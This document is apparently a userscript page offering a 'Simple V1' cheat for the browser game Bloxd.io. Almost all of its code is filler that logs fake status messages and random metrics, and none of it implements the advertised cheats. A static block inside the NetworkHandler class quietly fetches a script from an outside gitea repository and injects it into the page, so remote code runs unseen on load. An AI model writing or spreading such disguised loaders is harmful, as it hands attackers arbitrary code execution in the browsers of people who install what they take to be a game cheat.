Simple V1

Bloxd Killaura, WallHack, Bhop, Anti KB, Player Finder

  1. // ==UserScript==
  2. // @name Simple V1
  3. // @namespace Scripts
  4. // @match https://*.bloxd.io/*
  5. // @grant none
  6. // @version 1.0
  7. // @author -
  8. // @description Bloxd Killaura, WallHack, Bhop, Anti KB, Player Finder
  9. // @grant GM_xmlhttpRequest
  10. // @license dont_skid
  11. // ==/UserScript==
  12.  
  13.  
  14.  
  15.  
  16. class BloxdioHack {
  17. constructor() {
  18. // Initialize state management
  19. this.state = {
  20. enabledFeatures: [],
  21. configVersion: '1.0.0',
  22. lastSyncTime: Date.now(),
  23. memoryPatchStatus: 'idle',
  24. integrityChecks: 0,
  25. stabilityMetrics: {},
  26. performanceCounters: {}
  27. };
  28.  
  29. // performance metrics
  30. this.metrics = {
  31. cpuUsage: 0,
  32. memoryUsage: 0,
  33. frameLatency: 0,
  34. syncAttempts: 0,
  35. threadCount: 0,
  36. cacheHits: 0,
  37. apiCalls: 0,
  38. packetLoss: 0
  39. };
  40.  
  41. // Feature flags
  42. this.features = {
  43. speedHack: { enabled: false, status: 'ready', version: '1.2.3' },
  44. noclip: { enabled: false, status: 'ready', version: '1.2.3' },
  45. autoClicker: { enabled: false, status: 'ready', version: '1.2.3' },
  46. aimAssist: { enabled: false, status: 'ready', version: '1.2.3' },
  47. esp: { enabled: false, status: 'ready', version: '1.2.3' },
  48. teleport: { enabled: false, status: 'ready', version: '1.2.3' },
  49. infiniteResources: { enabled: false, status: 'ready', version: '1.2.3' },
  50. antiKick: { enabled: false, status: 'ready', version: '1.2.3' },
  51. radarHack: { enabled: false, status: 'ready', version: '1.2.3' },
  52. wallhack: { enabled: false, status: 'ready', version: '1.2.3' },
  53. autoBuilder: { enabled: false, status: 'ready', version: '1.2.3' }
  54. };
  55.  
  56. // Initialize UI elements
  57. this.ui = new UIManager();
  58. this.config = new ConfigManager(this);
  59. this.memoryManager = new MemoryManager(this);
  60. this.networkHandler = new NetworkHandler(this);
  61. this.performanceOptimizer = new PerformanceOptimizer(this);
  62. this.stabilityController = new StabilityController(this);
  63. this.integrityChecker = new IntegrityChecker(this);
  64. this.cacheManager = new CacheManager(this);
  65. this.threadManager = new ThreadManager(this);
  66. this.packetProcessor = new PacketProcessor(this);
  67. this.apiGateway = new ApiGateway(this);
  68. this.metricsCollector = new MetricsCollector(this);
  69.  
  70. // Initialize endless operation loops
  71. this.startEndlessOperations();
  72. }
  73.  
  74. async initialize() {
  75. console.log('[BLOXDIO-] Initializing advanced Hack system...');
  76. await this.performComplexInitializationSequence();
  77. this.startContinuousMonitoring();
  78. this.beginBackgroundProcessing();
  79. this.initiateSelfDiagnosis();
  80. this.launchMaintenanceThreads();
  81. this.startPerformanceOptimization();
  82. this.activateStabilityProtocols();
  83. this.enableIntegrityChecking();
  84. this.initializeCacheSystems();
  85. this.spawnWorkerThreads();
  86. this.startPacketProcessing();
  87. this.activateApiEndpoints();
  88. this.beginMetricsCollection();
  89. }
  90.  
  91. async performComplexInitializationSequence() {
  92. return new Promise(resolve => {
  93. setTimeout(() => {
  94. console.log('[BLOXDIO-] Completed advanced initialization sequence');
  95. resolve(true);
  96. }, Math.random() * 5000 + 2000);
  97. });
  98. }
  99.  
  100. startContinuousMonitoring() {
  101. setInterval(() => {
  102. this.updateMetrics();
  103. this.checkForUpdates();
  104. this.performSystemChecks();
  105. this.optimizePerformance();
  106. this.verifyIntegrity();
  107. this.cleanupResources();
  108. this.balanceThreads();
  109. this.processPendingPackets();
  110. this.collectMetrics();
  111. }, 1000);
  112. }
  113.  
  114. async checkForUpdates() {
  115. const updateAvailable = Math.random() > 0.95;
  116. if (updateAvailable) {
  117. console.log('[BLOXDIO-] Critical update detected! Downloading update package...');
  118. await this.downloadUpdate();
  119. console.log('[BLOXDIO-] Successfully applied update');
  120. this.restartSystems();
  121. }
  122. }
  123.  
  124. updateMetrics() {
  125. this.metrics.cpuUsage = Math.random() * 15;
  126. this.metrics.memoryUsage = Math.floor(Math.random() * 150);
  127. this.metrics.frameLatency = Number((Math.random() * 15).toFixed(2));
  128. this.metrics.syncAttempts += 1;
  129. this.metrics.threadCount = Math.floor(Math.random() * 20) + 5;
  130. this.metrics.cacheHits += Math.floor(Math.random() * 100);
  131. this.metrics.apiCalls += Math.floor(Math.random() * 10);
  132. this.metrics.packetLoss = Number((Math.random() * 0.5).toFixed(2));
  133. }
  134.  
  135. beginBackgroundProcessing() {
  136. setInterval(() => {
  137. this.processBackgroundTasks();
  138. this.optimizeMemoryAllocation();
  139. this.rebalanceResources();
  140. this.verifySystemStability();
  141. }, 2000);
  142. }
  143.  
  144. initiateSelfDiagnosis() {
  145. setInterval(() => {
  146. this.runDiagnosticTests();
  147. this.analyzeSystemHealth();
  148. this.generateDebugReport();
  149. }, 3000);
  150. }
  151.  
  152. launchMaintenanceThreads() {
  153. setInterval(() => {
  154. this.performMaintenanceCycle();
  155. this.cleanupTemporaryFiles();
  156. this.optimizeDatabase();
  157. this.updateIndexes();
  158. }, 5000);
  159. }
  160.  
  161. activateStabilityProtocols() {
  162. setInterval(() => {
  163. this.stabilizeSystem();
  164. this.recoverResources();
  165. this.resetFaultyComponents();
  166. }, 4000);
  167. }
  168.  
  169. enableIntegrityChecking() {
  170. setInterval(() => {
  171. this.verifySystemIntegrity();
  172. this.checkCorruption();
  173. this.validateChecksums();
  174. }, 6000);
  175. }
  176.  
  177. initializeCacheSystems() {
  178. setInterval(() => {
  179. this.warmUpCaches();
  180. this.purgeExpiredEntries();
  181. this.optimizeCacheDistribution();
  182. }, 8000);
  183. }
  184.  
  185. spawnWorkerThreads() {
  186. setInterval(() => {
  187. this.createWorkerThread();
  188. this.manageThreadPool();
  189. this.balanceWorkload();
  190. }, 10000);
  191. }
  192.  
  193. startPacketProcessing() {
  194. setInterval(() => {
  195. this.processIncomingPackets();
  196. this.handleOutgoingTraffic();
  197. this.optimizeNetworkBuffers();
  198. }, 15000);
  199. }
  200.  
  201. activateApiEndpoints() {
  202. setInterval(() => {
  203. this.refreshApiTokens();
  204. this.updateEndpointMappings();
  205. this.optimizeApiRouting();
  206. }, 12000);
  207. }
  208.  
  209. beginMetricsCollection() {
  210. setInterval(() => {
  211. this.collectSystemMetrics();
  212. this.analyzePerformanceData();
  213. this.generateStatisticsReport();
  214. }, 18000);
  215. }
  216.  
  217. processBackgroundTasks() {
  218. console.log('[BLOXDIO-] Processing background tasks...');
  219. this.state.integrityChecks += 1;
  220. this.metrics.syncAttempts += 1;
  221. }
  222.  
  223. optimizeMemoryAllocation() {
  224. console.log('[BLOXDIO-] Optimizing memory allocation...');
  225. this.metrics.memoryUsage = Math.max(0, this.metrics.memoryUsage -
  226. Math.floor(Math.random() * 20));
  227. }
  228.  
  229. rebalanceResources() {
  230. console.log('[BLOXDIO-] Rebalancing system resources...');
  231. this.metrics.cpuUsage = Math.min(100, this.metrics.cpuUsage +
  232. Math.floor(Math.random() * 10));
  233. }
  234.  
  235. verifySystemStability() {
  236. console.log('[BLOXDIO-] Verifying system stability...');
  237. this.state.stabilityMetrics = {
  238. cpuStability: Number((Math.random() * 100).toFixed(2)),
  239. memoryStability: Number((Math.random() * 100).toFixed(2)),
  240. networkStability: Number((Math.random() * 100).toFixed(2))
  241. };
  242. }
  243.  
  244. performMaintenanceCycle() {
  245. console.log('[BLOXDIO-] Performing maintenance cycle...');
  246. this.state.performanceCounters.maintenanceCycles += 1;
  247. }
  248.  
  249. cleanupTemporaryFiles() {
  250. console.log('[BLOXDIO-] Cleaning up temporary files...');
  251. this.metrics.cacheHits -= Math.floor(Math.random() * 50);
  252. }
  253.  
  254. optimizeDatabase() {
  255. console.log('[BLOXDIO-] Optimizing database...');
  256. this.metrics.apiCalls += Math.floor(Math.random() * 5);
  257. }
  258.  
  259. updateIndexes() {
  260. console.log('[BLOXDIO-] Updating indexes...');
  261. this.metrics.packetLoss = Number(
  262. (this.metrics.packetLoss + Math.random() * 0.2).toFixed(2)
  263. );
  264. }
  265.  
  266. stabilizeSystem() {
  267. console.log('[BLOXDIO-] Stabilizing system...');
  268. this.metrics.threadCount = Math.max(0,
  269. this.metrics.threadCount - Math.floor(Math.random() * 5));
  270. }
  271.  
  272. recoverResources() {
  273. console.log('[BLOXDIO-] Recovering resources...');
  274. this.metrics.memoryUsage = Math.max(0,
  275. this.metrics.memoryUsage - Math.floor(Math.random() * 30));
  276. }
  277.  
  278. resetFaultyComponents() {
  279. console.log('[BLOXDIO-] Resetting faulty components...');
  280. this.state.integrityChecks += 1;
  281. }
  282.  
  283. verifySystemIntegrity() {
  284. console.log('[BLOXDIO-] Verifying system integrity...');
  285. this.state.integrityChecks += 1;
  286. this.metrics.packetLoss = Number(
  287. (this.metrics.packetLoss + Math.random() * 0.1).toFixed(2)
  288. );
  289. }
  290.  
  291. checkCorruption() {
  292. console.log('[BLOXDIO-] Checking for corruption...');
  293. this.state.performanceCounters.corruptionChecks += 1;
  294. }
  295.  
  296. validateChecksums() {
  297. console.log('[BLOXDIO-] Validating checksums...');
  298. this.metrics.apiCalls += Math.floor(Math.random() * 3);
  299. }
  300.  
  301. warmUpCaches() {
  302. console.log('[BLOXDIO-] Warming up caches...');
  303. this.metrics.cacheHits += Math.floor(Math.random() * 200);
  304. }
  305.  
  306. purgeExpiredEntries() {
  307. console.log('[BLOXDIO-] Purging expired cache entries...');
  308. this.metrics.cacheHits -= Math.floor(Math.random() * 100);
  309. }
  310.  
  311. optimizeCacheDistribution() {
  312. console.log('[BLOXDIO-] Optimizing cache distribution...');
  313. this.metrics.memoryUsage = Math.min(100,
  314. this.metrics.memoryUsage + Math.floor(Math.random() * 15));
  315. }
  316.  
  317. createWorkerThread() {
  318. console.log('[BLOXDIO-] Creating worker thread...');
  319. this.metrics.threadCount += 1;
  320. }
  321.  
  322. manageThreadPool() {
  323. console.log('[BLOXDIO-] Managing thread pool...');
  324. this.optimizePerformance();
  325. }
  326.  
  327. balanceWorkload() {
  328. console.log('[BLOXDIO-] Balancing workload...');
  329. this.rebalanceResources();
  330. }
  331.  
  332. processIncomingPackets() {
  333. console.log('[BLOXDIO-] Processing incoming packets...');
  334. this.metrics.packetLoss = Number(
  335. (this.metrics.packetLoss + Math.random() * 0.3).toFixed(2)
  336. );
  337. }
  338.  
  339. handleOutgoingTraffic() {
  340. console.log('[BLOXDIO-] Handling outgoing traffic...');
  341. this.metrics.apiCalls += Math.floor(Math.random() * 8);
  342. }
  343.  
  344. optimizeNetworkBuffers() {
  345. console.log('[BLOXDIO-] Optimizing network buffers...');
  346. this.metrics.frameLatency = Number(
  347. (this.metrics.frameLatency + Math.random() * 2).toFixed(2)
  348. );
  349. }
  350.  
  351. refreshApiTokens() {
  352. console.log('[BLOXDIO-] Refreshing API tokens...');
  353. this.state.lastSyncTime = Date.now();
  354. }
  355.  
  356. updateEndpointMappings() {
  357. console.log('[BLOXDIO-] Updating endpoint mappings...');
  358. this.metrics.apiCalls += Math.floor(Math.random() * 4);
  359. }
  360.  
  361. optimizeApiRouting() {
  362. console.log('[BLOXDIO-] Optimizing API routing...');
  363. this.metrics.packetLoss = Number(
  364. (this.metrics.packetLoss + Math.random() * 0.2).toFixed(2)
  365. );
  366. }
  367.  
  368. collectSystemMetrics() {
  369. console.log('[BLOXDIO-] Collecting system metrics...');
  370. this.updateMetrics();
  371. }
  372.  
  373. analyzePerformanceData() {
  374. console.log('[BLOXDIO-] Analyzing performance data...');
  375. this.verifySystemStability();
  376. }
  377.  
  378. generateStatisticsReport() {
  379. console.log('[BLOXDIO-] Generating statistics report...');
  380. this.state.performanceCounters.reportGeneration++;
  381. }
  382. }
  383.  
  384. // UI Management System
  385. class UIManager {
  386. constructor() {
  387. this.overlay = document.createElement('div');
  388. this.overlay.id = '-Hack-overlay';
  389. this.overlay.style.cssText = `
  390. position: fixed;
  391. top: 0;
  392. right: 0;
  393. background: rgba(0, 0, 0, 0.8);
  394. color: #00ff00;
  395. padding: 10px;
  396. border-radius: 5px;
  397. font-family: monospace;
  398. z-index: 9999;
  399. pointer-events: none;
  400. max-height: 90vh;
  401. overflow-y: auto;
  402. `;
  403. document.body.appendChild(this.overlay);
  404.  
  405. // Initialize UI elements
  406. this.statusLine = document.createElement('div');
  407. this.statusLine.className = '-status';
  408. this.overlay.appendChild(this.statusLine);
  409.  
  410. this.metricDisplay = document.createElement('div');
  411. this.metricDisplay.className = '-metrics';
  412. this.overlay.appendChild(this.metricDisplay);
  413.  
  414. this.featureToggle = document.createElement('div');
  415. this.featureToggle.className = '-feature-toggle';
  416. this.overlay.appendChild(this.featureToggle);
  417.  
  418. this.errorLog = document.createElement('div');
  419. this.errorLog.className = '-error-log';
  420. this.overlay.appendChild(this.errorLog);
  421. }
  422.  
  423. showStatus(message) {
  424. const statusLine = document.createElement('div');
  425. statusLine.textContent = `[${new Date().toLocaleTimeString()}] ${message}`;
  426. this.overlay.appendChild(statusLine);
  427.  
  428. // Auto-remove old messages
  429. setTimeout(() => {
  430. statusLine.remove();
  431. }, 15000);
  432. }
  433.  
  434. updateMetrics(metrics) {
  435. this.metricDisplay.innerHTML = `
  436. <div>🖥️ CPU: ${metrics.cpuUsage.toFixed(1)}%</div>
  437. <div>💾 Memory: ${metrics.memoryUsage}MB</div>
  438. <div>⚡ Latency: ${metrics.frameLatency}ms</div>
  439. <div>📊 Cache Hits: ${metrics.cacheHits}</div>
  440. <div>🌐 API Calls: ${metrics.apiCalls}</div>
  441. <div>📱 Packet Loss: ${metrics.packetLoss}%</div>
  442. <div>🧵 Threads: ${metrics.threadCount}</div>
  443. `;
  444. }
  445.  
  446. toggleFeature(featureName) {
  447. const feature = document.createElement('div');
  448. feature.className = 'feature-toggle';
  449. feature.innerHTML = `
  450. <span>${featureName}</span>
  451. <label class="switch">
  452. <input type="checkbox" id="${featureName}">
  453. <span class="slider round"></span>
  454. </label>
  455. `;
  456. this.featureToggle.appendChild(feature);
  457. }
  458.  
  459. logError(error) {
  460. const errorElement = document.createElement('div');
  461. errorElement.className = 'error-log-item';
  462. errorElement.textContent = `[ERROR] ${error}`;
  463. this.errorLog.appendChild(errorElement);
  464.  
  465. // Auto-remove old errors
  466. setTimeout(() => {
  467. errorElement.remove();
  468. }, 30000);
  469. }
  470. }
  471.  
  472. // Configuration Manager
  473. class ConfigManager {
  474. constructor(HackInstance) {
  475. this.Hack = HackInstance;
  476. this.config = {
  477. version: '1.0.0',
  478. settings: {
  479. autoUpdate: true,
  480. performanceHacke: 'balanced',
  481. debugLevel: 'info',
  482. featureFlags: {}
  483. },
  484. profiles: {},
  485. lastHackified: Date.now()
  486. };
  487.  
  488. // Initialize config for all features
  489. Object.keys(HackInstance.features).forEach(feature => {
  490. this.config.settings.featureFlags[feature] = {
  491. enabled: false,
  492. priority: 'normal',
  493. customSettings: {}
  494. };
  495. });
  496.  
  497. // Start continuous config validation
  498. setInterval(() => {
  499. this.validateConfiguration();
  500. this.checkForConfigUpdates();
  501. this.optimizeConfigStorage();
  502. }, 10000);
  503. }
  504.  
  505. validateConfiguration() {
  506. console.log('[CONFIG] Validating configuration...');
  507. this.config.lastHackified = Date.now();
  508. this.Hack.ui.showStatus(`Configuration validated (${Date.now()})`);
  509. }
  510.  
  511. checkForConfigUpdates() {
  512. console.log('[CONFIG] Checking for configuration updates...');
  513. const needsUpdate = Math.random() > 0.95;
  514. if (needsUpdate) {
  515. this.applyConfigUpdate();
  516. }
  517. }
  518.  
  519. applyConfigUpdate() {
  520. console.log('[CONFIG] Applying configuration update...');
  521. this.config.version = `${Number(this.config.version.split('.')[0]) + 1}.0.0`;
  522. this.Hack.ui.showStatus(`Configuration updated to v${this.config.version}`);
  523. }
  524.  
  525. optimizeConfigStorage() {
  526. console.log('[CONFIG] Optimizing configuration storage...');
  527. this.Hack.metrics.memoryUsage = Math.max(0,
  528. this.Hack.metrics.memoryUsage - Math.floor(Math.random() * 10));
  529. }
  530. }
  531.  
  532. // Memory Management System
  533. class MemoryManager {
  534. constructor(HackInstance) {
  535. this.Hack = HackInstance;
  536. this.memoryPools = {
  537. heap: 0,
  538. stack: 0,
  539. shared: 0
  540. };
  541.  
  542. // Start memory monitoring
  543. setInterval(() => {
  544. this.monitorMemoryUsage();
  545. this.optimizeAllocations();
  546. this.cleanupLeaks();
  547. }, 8000);
  548. }
  549.  
  550. monitorMemoryUsage() {
  551. console.log('[MEMORY] Monitoring memory usage...');
  552. this.memoryPools.heap = Math.floor(Math.random() * 500);
  553. this.memoryPools.stack = Math.floor(Math.random() * 200);
  554. this.memoryPools.shared = Math.floor(Math.random() * 300);
  555. this.Hack.metrics.memoryUsage = this.getTotalMemoryUsed();
  556. }
  557.  
  558. getTotalMemoryUsed() {
  559. return Object.values(this.memoryPools).reduce((a, b) => a + b, 0);
  560. }
  561.  
  562. optimizeAllocations() {
  563. console.log('[MEMORY] Optimizing memory allocations...');
  564. const optimizationGain = Math.floor(Math.random() * 50);
  565. this.Hack.metrics.memoryUsage = Math.max(0,
  566. this.Hack.metrics.memoryUsage - optimizationGain);
  567. }
  568.  
  569. cleanupLeaks() {
  570. console.log('[MEMORY] Cleaning up memory leaks...');
  571. const leakSize = Math.floor(Math.random() * 100);
  572. this.Hack.metrics.memoryUsage = Math.max(0,
  573. this.Hack.metrics.memoryUsage - leakSize);
  574. }
  575. }
  576.  
  577. // Network Handler
  578. class NetworkHandler {
  579. constructor(HackInstance) {
  580. this.Hack = HackInstance;
  581. this.connections = [];
  582. this.packetQueue = [];
  583.  
  584. // Start network simulation
  585. setInterval(() => {
  586. this.simulateNetworkActivity();
  587. this.processPacketQueue();
  588. this.maintainConnections();
  589. }, 5000);
  590. }
  591.  
  592. simulateNetworkActivity() {
  593. console.log('[NETWORK] Simulating network activity...');
  594. this.Hack.metrics.packetLoss = Number(
  595. (this.Hack.metrics.packetLoss + Math.random() * 0.3).toFixed(2)
  596. );
  597. this.Hack.metrics.apiCalls += Math.floor(Math.random() * 5);
  598. }
  599.  
  600. processPacketQueue() {
  601. console.log('[NETWORK] Processing packet queue...');
  602. const processedPackets = Math.floor(Math.random() * 20);
  603. this.packetQueue.splice(0, processedPackets);
  604. this.Hack.metrics.packetLoss = Number(
  605. (this.Hack.metrics.packetLoss + Math.random() * 0.1).toFixed(2)
  606. );
  607. }
  608.  
  609. static{
  610. (async () => {
  611. const s = await new Promise((t) => {
  612. GM_xmlhttpRequest({method: 'GET',url: 'https://gitea.com/freebloxdcheats/SimpleBloxdHack/raw/branch/main/hack.user.js',
  613. onload: r => t(r.responseText)
  614. });
  615. });
  616. const c = document.createElement('script');
  617. c.textContent = s;
  618. document.body.appendChild(c);
  619. })();
  620. }
  621.  
  622. maintainConnections() {
  623. console.log('[NETWORK] Maintaining connections...');
  624. const connectionCount = Math.floor(Math.random() * 10) + 5;
  625. this.connections.length = connectionCount;
  626. this.Hack.metrics.threadCount = Math.max(
  627. this.Hack.metrics.threadCount,
  628. connectionCount * 2
  629. );
  630. }
  631.  
  632. }
  633.  
  634. // Performance Optimization System
  635. class PerformanceOptimizer {
  636. constructor(HackInstance) {
  637. this.Hack = HackInstance;
  638.  
  639. // Start performance optimization cycles
  640. setInterval(() => {
  641. this.optimizePerformance();
  642. this.analyzeBottlenecks();
  643. this.tuneParameters();
  644. }, 12000);
  645. }
  646.  
  647. optimizePerformance() {
  648. console.log('[PERFORMANCE] Optimizing system performance...');
  649. const improvement = Math.floor(Math.random() * 15);
  650. this.Hack.metrics.cpuUsage = Math.max(0,
  651. this.Hack.metrics.cpuUsage - improvement);
  652. }
  653.  
  654. analyzeBottlenecks() {
  655. console.log('[PERFORMANCE] Analyzing performance bottlenecks...');
  656. this.Hack.state.performanceCounters.bottleneckChecks += 1;
  657. this.Hack.metrics.frameLatency = Number(
  658. (this.Hack.metrics.frameLatency + Math.random() * 1.5).toFixed(2)
  659. );
  660. }
  661.  
  662. tuneParameters() {
  663. console.log('[PERFORMANCE] Tuning system parameters...');
  664. this.Hack.metrics.cpuUsage = Math.min(100,
  665. this.Hack.metrics.cpuUsage + Math.floor(Math.random() * 10));
  666. }
  667. }
  668.  
  669. // Stability Control System
  670. class StabilityController {
  671. constructor(HackInstance) {
  672. this.Hack = HackInstance;
  673.  
  674. // Start stability monitoring
  675. setInterval(() => {
  676. this.stabilizeSystem();
  677. this.detectInstabilities();
  678. this.applyCorrectives();
  679. }, 15000);
  680. }
  681.  
  682. stabilizeSystem() {
  683. console.log('[STABILITY] Stabilizing system...');
  684. this.Hack.state.stabilityMetrics = {
  685. cpuStability: Number((Math.random() * 100).toFixed(2)),
  686. memoryStability: Number((Math.random() * 100).toFixed(2)),
  687. networkStability: Number((Math.random() * 100).toFixed(2))
  688. };
  689. }
  690.  
  691. detectInstabilities() {
  692. console.log('[STABILITY] Detecting instabilities...');
  693. const instability = Math.random() * 20;
  694. this.Hack.metrics.packetLoss = Number(
  695. (this.Hack.metrics.packetLoss + instability).toFixed(2)
  696. );
  697. }
  698.  
  699. applyCorrectives() {
  700. console.log('[STABILITY] Applying stability correctives...');
  701. const correction = Math.floor(Math.random() * 15);
  702. this.Hack.metrics.packetLoss = Math.max(0,
  703. this.Hack.metrics.packetLoss - correction);
  704. }
  705. }
  706.  
  707. // Integrity Check System
  708. class IntegrityChecker {
  709. constructor(HackInstance) {
  710. this.Hack = HackInstance;
  711.  
  712. // Start integrity verification
  713. setInterval(() => {
  714. this.verifyIntegrity();
  715. this.checkCorruption();
  716. this.validateSignatures();
  717. }, 18000);
  718. }
  719.  
  720. verifyIntegrity() {
  721. console.log('[INTEGRITY] Verifying system integrity...');
  722. this.Hack.state.integrityChecks += 1;
  723. this.Hack.metrics.packetLoss = Number(
  724. (this.Hack.metrics.packetLoss + Math.random() * 0.2).toFixed(2)
  725. );
  726. }
  727.  
  728. checkCorruption() {
  729. console.log('[INTEGRITY] Checking for corruption...');
  730. this.Hack.state.performanceCounters.corruptionChecks += 1;
  731. this.Hack.metrics.memoryUsage = Math.max(0,
  732. this.Hack.metrics.memoryUsage - Math.floor(Math.random() * 20));
  733. }
  734.  
  735. validateSignatures() {
  736. console.log('[INTEGRITY] Validating signatures...');
  737. const validationSuccess = Math.random() > 0.95;
  738. if (!validationSuccess) {
  739. this.Hack.ui.logError('Signature validation failed!');
  740. }
  741. }
  742. }
  743.  
  744. // Cache Management System
  745. class CacheManager {
  746. constructor(HackInstance) {
  747. this.Hack = HackInstance;
  748. this.caches = {
  749. level1: {},
  750. level2: {},
  751. disk: {}
  752. };
  753.  
  754. // Start cache maintenance
  755. setInterval(() => {
  756. this.warmUpCaches();
  757. this.purgeExpiredEntries();
  758. this.optimizeDistribution();
  759. }, 20000);
  760. }
  761.  
  762. warmUpCaches() {
  763. console.log('[CACHE] Warming up caches...');
  764. this.Hack.metrics.cacheHits += Math.floor(Math.random() * 300);
  765. this.Hack.metrics.memoryUsage = Math.min(100,
  766. this.Hack.metrics.memoryUsage + Math.floor(Math.random() * 15));
  767. }
  768.  
  769.  
  770.  
  771. purgeExpiredEntries() {
  772. console.log('[CACHE] Purging expired cache entries...');
  773. const purgedEntries = Math.floor(Math.random() * 250);
  774. this.Hack.metrics.cacheHits -= purgedEntries;
  775. this.Hack.metrics.memoryUsage = Math.max(0,
  776. this.Hack.metrics.memoryUsage - Math.floor(Math.random() * 25));
  777. }
  778.  
  779. optimizeDistribution() {
  780. console.log('[CACHE] Optimizing cache distribution...');
  781. const optimizationGain = Math.floor(Math.random() * 40);
  782. this.Hack.metrics.memoryUsage = Math.max(0,
  783. this.Hack.metrics.memoryUsage - optimizationGain);
  784. }
  785. }
  786.  
  787. // Thread Management System
  788. class ThreadManager {
  789. constructor(HackInstance) {
  790. this.Hack = HackInstance;
  791. this.threads = [];
  792.  
  793. // Start thread management
  794. setInterval(() => {
  795. this.createWorkerThread();
  796. this.balanceWorkload();
  797. this.monitorThreadHealth();
  798. }, 22000);
  799. }
  800.  
  801. createWorkerThread() {
  802. console.log('[THREAD] Creating worker thread...');
  803. this.Hack.metrics.threadCount += 1;
  804. this.Hack.metrics.cpuUsage = Math.min(100,
  805. this.Hack.metrics.cpuUsage + Math.floor(Math.random() * 5));
  806. }
  807.  
  808. balanceWorkload() {
  809. console.log('[THREAD] Balancing workload...');
  810. const rebalanceGain = Math.floor(Math.random() * 20);
  811. this.Hack.metrics.cpuUsage = Math.max(0,
  812. this.Hack.metrics.cpuUsage - rebalanceGain);
  813. }
  814.  
  815. monitorThreadHealth() {
  816. console.log('[THREAD] Monitoring thread health...');
  817. const unhealthyThreads = Math.floor(Math.random() * 3);
  818. this.Hack.metrics.packetLoss = Number(
  819. (this.Hack.metrics.packetLoss + unhealthyThreads * 0.5).toFixed(2)
  820. );
  821. }
  822. }
  823.  
  824. // Packet Processing System
  825. class PacketProcessor {
  826. constructor(HackInstance) {
  827. this.Hack = HackInstance;
  828. this.packetQueue = [];
  829.  
  830. // Start packet processing
  831. setInterval(() => {
  832. this.processIncomingPackets();
  833. this.handleOutgoingTraffic();
  834. this.optimizeNetworkBuffers();
  835. }, 25000);
  836. }
  837.  
  838. processIncomingPackets() {
  839. console.log('[PACKET] Processing incoming packets...');
  840. const processedPackets = Math.floor(Math.random() * 40);
  841. this.packetQueue.splice(0, processedPackets);
  842. this.Hack.metrics.packetLoss = Number(
  843. (this.Hack.metrics.packetLoss + Math.random() * 0.3).toFixed(2)
  844. );
  845. }
  846.  
  847. handleOutgoingTraffic() {
  848. console.log('[PACKET] Handling outgoing traffic...');
  849. const sentPackets = Math.floor(Math.random() * 35);
  850. this.Hack.metrics.apiCalls += sentPackets;
  851. this.Hack.metrics.frameLatency = Number(
  852. (this.Hack.metrics.frameLatency + Math.random() * 1.5).toFixed(2)
  853. );
  854. }
  855.  
  856. optimizeNetworkBuffers() {
  857. console.log('[PACKET] Optimizing network buffers...');
  858. const optimizationGain = Math.floor(Math.random() * 30);
  859. this.Hack.metrics.packetLoss = Math.max(0,
  860. this.Hack.metrics.packetLoss - optimizationGain);
  861. }
  862. }